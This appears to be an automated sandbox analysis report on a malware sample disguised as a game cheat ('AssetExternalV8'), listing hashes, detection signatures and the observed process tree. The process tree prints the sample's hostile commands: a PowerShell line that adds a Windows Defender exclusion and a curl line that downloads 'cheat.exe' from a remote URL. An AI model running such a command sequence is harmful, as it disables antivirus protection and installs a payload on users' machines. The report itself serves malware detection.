Overview
overview
8Static
static
1AssetExter...al.lnk
windows10-2004-x64
8AssetExter...al.lnk
windows11-ltsc_2024-x64
8AssetExter...ss.dll
windows10-2004-x64
1AssetExter...ss.dll
windows11-ltsc_2024-x64
1AssetExter...es.bat
windows10-2004-x64
8AssetExter...es.bat
windows11-ltsc_2024-x64
8AssetExter...ry.dll
windows10-2004-x64
1AssetExter...ry.dll
windows11-ltsc_2024-x64
1Mal/AssetE...al.lnk
windows10-2004-x64
8Mal/AssetE...al.lnk
windows11-ltsc_2024-x64
8Mal/AssetE...ss.dll
windows10-2004-x64
1Mal/AssetE...ss.dll
windows11-ltsc_2024-x64
1Mal/AssetE...es.bat
windows10-2004-x64
8Mal/AssetE...es.bat
windows11-ltsc_2024-x64
8Mal/AssetE...ry.dll
windows10-2004-x64
1Mal/AssetE...ry.dll
windows11-ltsc_2024-x64
1Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/08/2026, 23:59
Static task
static1
Behavioral task
behavioral1
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral3
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral4
Sample
AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral5
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral6
Sample
AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260710-en
Behavioral task
behavioral7
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral8
Sample
AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral9
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win10v2004-20260513-en
Behavioral task
behavioral10
Sample
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral11
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral12
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/ACbypass.dll
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral13
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral14
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/Libraries.bat
Resource
win11ltsc2024-20260709-en
Behavioral task
behavioral15
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win10v2004-20260513-en
Behavioral task
behavioral16
Sample
Mal/AssetExternalV8/AssetExternalV8/dependencies/memory.dll
Resource
win11ltsc2024-20260709-en
General
- Target Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
- Size 1KB
- Sample260808-31te3azzgx
- SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
- MD5 0f6a404c26510641ceff4ce159bb4a2b
- SHA1 a926776e1d5744c13be1792e2ec2af92f88ff692
- SHA512 e829110d2725d45ac686c0c50e77bd6dc9ded950c501dfb6268c6aeac05cdce112d711195fac3a6473b08a78701f25a42dd1b642ef5ac32b58d80840bdb626f9
- TLSH T18B31CD5266C16F19E7BF0FB296F6A181C27C78217C0AD50C55949B8828B6A24E836736
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1692 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4464 cmd.exe 2360 cmd.exe - Delays execution with timeout.exe 5 IoCs
pid Process 3336 timeout.exe 2856 timeout.exe 3756 timeout.exe 4792 timeout.exe 2004 timeout.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ cmd.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1692 powershell.exe 1692 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1692 powershell.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4464 wrote to memory of 2360 4464 cmd.exe 87 PID 2360 wrote to memory of 3540 2360 cmd.exe 89 PID 3540 wrote to memory of 3216 3540 net.exe 90 PID 2360 wrote to memory of 3336 2360 cmd.exe 91 PID 2360 wrote to memory of 2856 2360 cmd.exe 92 PID 2360 wrote to memory of 3756 2360 cmd.exe 93 PID 2360 wrote to memory of 1692 2360 cmd.exe 94 PID 2360 wrote to memory of 1800 2360 cmd.exe 95 PID 2360 wrote to memory of 2004 2360 cmd.exe 102 PID 2360 wrote to memory of 4792 2360 cmd.exe 104
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:3216
-
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:3336
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:2856
-
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C:\Windows\system32\timeout.exetimeout /t 1 /nobreak3⤵
- Delays execution with timeout.exe
PID:3756
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692
-
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C:\Windows\system32\curl.execurl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"3⤵PID:1800
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:2004
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C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
PID:4792
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tdygqzru.df3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH